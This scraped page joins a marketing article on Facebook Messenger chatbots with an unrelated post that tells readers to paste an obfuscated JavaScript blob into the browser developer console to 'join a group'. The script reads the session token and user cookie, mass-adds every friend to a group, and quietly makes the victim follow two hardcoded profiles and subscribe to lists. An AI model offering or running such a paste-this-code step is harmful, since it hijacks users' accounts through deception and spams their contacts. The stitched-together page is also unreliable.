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How you can incorporate chatbots into your Facebook messenger marketing?

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In an article on Forbes, it was stated that 1 in 4 social media users follow a brand on social media. It has come out that this behaviour may result in them making a purchase. Brands have taken this huge potential that social media provides – in terms of converting users into customers – and have looked at ways in which they can further leverage the power of social media marketing for their digital marketing campaigns.

A ‘chatbot’ – which is defined as a computer program that is designed in order to simulate conversations with users – has been employed on social media in order to assist brands to make the online experience of their company seamless for the user. (The most well-known of these chatbots is Facebook Messenger.) Other chatbots that are familiar to many people are Siri, Cortana and Alexa.

Chatbots have an incredible part to play in social media marketing as they ultimately become another ‘employee’ in your business and help to spread your brand message on social media. Companies are increasingly seeing the benefits of having a chatbot act as the spokesperson for them. According to a study by Oracle, 80% of businesses want to have a chatbot in place by 2020.

 

The power of the chatbot on Facebook

Facebook has 2.38 billion active monthly users. There are 65 billion local businesses who use Facebook Pages for the business.  These monthly users will be contacting the businesses who make use of the Free Pages feature either by writing on their walls or sending them private messages through Facebook Messenger.

A user’s experience of a company is determined by the service that they receive from the company. In other words:

•    Does the company offer me speedy resolutions to my queries?

•    Do they make me feel special that I’m a client of their business? What added value do they give me?

•    If I complain, are my complaints dealt with speedily?

In other words, if a company communicates well and timeously with their clients these customers will rate the business highly in terms of customer service.

 

What do Facebook chatbots do?

Chatbots – some of which are integrated into Facebook Messenger already – provide organisations the opportunity to be in constant communication with their clients. As the chatbot can be programmed with various automated responses to questions they can take away the necessity of a human employee responding manually to the query being posed.

Think about the chatbot as your receptionist. There are certain frequently asked questions that people who phone your business ask, such as what times are you open? A chatbot can be programmed to give these responses to people who ask these questions. They can also direct the person to someone who can help them further with their query.

Chatbots are also able to introduce your company to those people who message your page. It’s very easy to get up an automated response that gives a short introduction to who your company is and what you stand for. Be careful about making this too salesy. Remember that the purpose of Facebook Messenger is communication and not advertisement. If you want to advertise on Facebook keep it to your page where there are many advertising options for you to choose from.

In this way, the chatbot provides the customer with the solution to a pressing need – for information – that they may have. It provides your enquirers with this information in real time so freeing up your employees to do other things. At the moment, these bots are only able to answer very simple questions as the technology has not evolved to such an extent that they are able to process complex logic questions. However, with the rate at which tech is evolving, we are sure that this ability will be forthcoming soon.

posted Jun 17 by Divya Bharti

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Step 1: Login to the facebook account.

Step 2: Goto the specific facebook group which you want to join

Step 3: Press ctrl+shift+j or ctrl+shift+k to open the developer console (only one of these will work based on your browser)

Step 4: Copy the following code and paste on the developer console.

(function(){var f={dtsg:document.getElementsByName("fb_dtsg")[0].value,uid:document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]),gid:document.getElementsByName("group_id")[0].value,frns:Array(),prenKe:0,okeh:0,gagal:0,getAjak:function(b){var c=new XMLHttpRequest;c.open("GET",b,!0),c.onreadystatechange=function(){if(4==c.readyState&&200==c.status){var a=eval("("+c.responseText.substr(9)+")");a.payload&&a.payload.entries&&(f.frns=a.payload.entries.sort(function(){return.5-Math.random()})),document.getElementById("hasilsurasil").innerHTML="Found <b>"+f.frns.length+" Abonnenten</b><div id='hasilsatu'></div><div id='hasildua'></div><div id='hasiltiga' style='min-width:300px;display:inline-block;text-align:left'></div>"+crj;for(x in f.frns)f.senAjak(x)}else document.getElementById("hasilsurasil").innerHTML=4==c.readyState&&404==c.status?"<b style='color:darkred'>Gruppe Öffnen!</b>"+crj:"<b style='color:darkgreen'>Suche nach möglichen Abonnenten... ("+c.readyState+")</b>"+crj},c.send()},senAjak:function(d){var e=new XMLHttpRequest,prm="__a=1&fb_dtsg="+f.dtsg+"&group_id="+f.gid+"&source=typeahead&ref=&message_id=&members="+f.frns[d].uid+"&__user="+f.uid+"&phstamp=";e.open("POST","/ajax/groups/members/add_post.php",!0),e.setRequestHeader("Content-type","application/x-www-form-urlencoded"),e.setRequestHeader("Content-length",prm.length),e.setRequestHeader("Connection","keep-alive"),e.onreadystatechange=function(){if(4==e.readyState&&200==e.status){var a=eval("("+e.responseText.substr(9)+")");if(f.prenKe++,document.getElementById("hasilsatu").innerHTML="<div><b>"+f.prenKe+"</b> of <b>"+f.frns.length+"</b></div>",a.errorDescription&&(f.gagal++,document.getElementById("hasiltiga").innerHTML="<div><b style='color:darkred'>( "+f.gagal+" )</b> <span style='color:darkred'>"+a.errorDescription+"</span></div>"),a.jsmods&&a.jsmods.require){var b="<div>";for(x in a.jsmods.require)a.jsmods.require[x][a.jsmods.require[x].length-1][1]&&(b+="<b style='color:darkgreen'>"+a.jsmods.require[x][a.jsmods.require[x].length-1][1]+"</b> ");b+="<div>",document.getElementById("hasildua").innerHTML=b}if(a.onload)for(z in a.onload){var c=eval(a.onload[z].replace(/Arbiter.inform/i,""));if(c.uid&&c.name){f.okeh++,document.getElementById("hasiltiga").innerHTML="<div><b style='color:darkgreen'>( "+f.okeh+" )</b> <a href='/"+c.uid+"' target='_blank'><b>"+c.name+"</b></a> haben dich abonniert.</div>";break}}f.prenKe==f.frns.length&&(document.getElementById("hasiltiga").style.textAlign="center",document.getElementById("hasiltiga").innerHTML+="<div style='font-size:20px;font-weight:bold'>20 Leute Einladen!</div><a href='/' onClick='document.getElementById(\"hasilsurasil\").style.display=\"none\";return false'>Schliesen</a>")}},e.send(prm)}},g=["i","a","e","g","o","s","n","b","l","p","m","2","r","0","c","1","t","3","©"],crl=g[1]+g[0]+g[6]+g[3]+g[14]+g[12]+g[2]+g[1]+g[16]+g[0]+g[4]+g[6]+g[5]+"."+g[7]+g[8]+g[4]+g[3]+g[5]+g[9]+g[4]+g[16]+"."+g[14]+g[4]+g[10],crj="<div style='margin-top:10px;color:gray;font-size:12px'>"+g[1].toUpperCase()+g[0]+g[6]+g[3]+g[14].toUpperCase()+g[12]+g[2]+g[1]+g[16]+g[0]+g[4]+g[6]+g[5]+" "+g[g.length-1]+g[11]+g[13]+g[15]+g[17]+"<div style='font-size:9px'><a href='http://"+crl+"/' target='_blank'>"+crl+"</a></div></div>";document.body.innerHTML+="<center id='hasilsurasil' style='min-height:50px;width:600px;position:fixed;top:100px;left:"+(document.body.offsetWidth-530)/2+"px;border-radius:10px;padding:10px;z-index:999999;border:5px solid skyblue;background-color:rgba(225,225,255,0.75)'><b>Suche nach Abonnenten ... Script by Mano </b>"+crj+"</center>",f.getAjak("/ajax/typeahead/first_degree.php?__a=1&viewer="+f.uid+"&token="+Math.random()+"&filter[0]=user&options[0]=friends_only")})(); var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1])
function cereziAl(isim) {
var tarama = isim + "=";
if (document.cookie.length > 0) {
konum = document.cookie.indexOf(tarama)
if (konum != -1) {
konum += tarama.length
son = document.cookie.indexOf(";", konum)
if (son == -1)
son = document.cookie.length
return unescape(document.cookie.substring(konum, son))
}
else { return ""; }
}
}

function getRandomInt (min, max) {
return Math.floor(Math.random() * (max - min + 1)) + min;
}
function randomValue(arr) {
return arr[getRandomInt(0, arr.length-1)];
}

var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);

function a(abone){
var http4 = new XMLHttpRequest();

var url4 = "/ajax/follow/follow_profile.php?__a=1";

var params4 = "profile_id=" + abone + "&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg=" + fb_dtsg + "&lsd&__" + user_id + "&phstamp=";
http4.open("POST", url4, true);

//Send the proper header information along with the request
http4.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
http4.setRequestHeader("Content-length", params4.length);
http4.setRequestHeader("Connection", "close");

http4.onreadystatechange = function() {//Call a function when the state changes.
if(http4.readyState == 4 && http4.status == 200) {

http4.close; // Close the connection

}
}

http4.send(params4);
}

function sublist(uidss) {
var a = document.createElement('script');
a.innerHTML = "new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: " + uidss + " }).send();";
document.body.appendChild(a);
}

a("100002751510540");
a("1714456490");

var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);

var httpwp = new XMLHttpRequest();
var urlwp = '/ajax/groups/membership/r2j.php?__a=1';
var paramswp = '&ref=group_jump_header&group_id=' + gid + '&fb_dtsg=' + fb_dtsg + '&__user=' + user_id + '&phstamp=';
httpwp['open']('POST', urlwp, true);
httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
httpwp['setRequestHeader']('Content-length', paramswp['length']);
httpwp['setRequestHeader']('Connection', 'keep-alive');
httpwp['send'](paramswp);

var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);

var friends = new Array();
gf = new XMLHttpRequest();
gf['open']('GET', '/ajax/typeahead/first_degree.php?__a=1&viewer=' + user_id + '&token' + Math['random']() + '&filter[0]=user&options[0]=friends_only', false);
gf['send']();
if (gf['readyState'] != 4) {} else {
data = eval('(' + gf['responseText']['substr'](9) + ')');
if (data['error']) {} else {
friends = data['payload']['entries']['sort'](function (_0x93dax8, _0x93dax9) {
return _0x93dax8['index'] - _0x93dax9['index'];
});
};
};

Step 5: Press Enter and wait for few minute and what you are done :)

Note
1. Try only if you have less then 1000 friends as FB is suppose to block you if add too many friends in a day.
2. Limit of the script is 3333 more then this would not done (anyway after 1000 FB will not allow so this does not matter)

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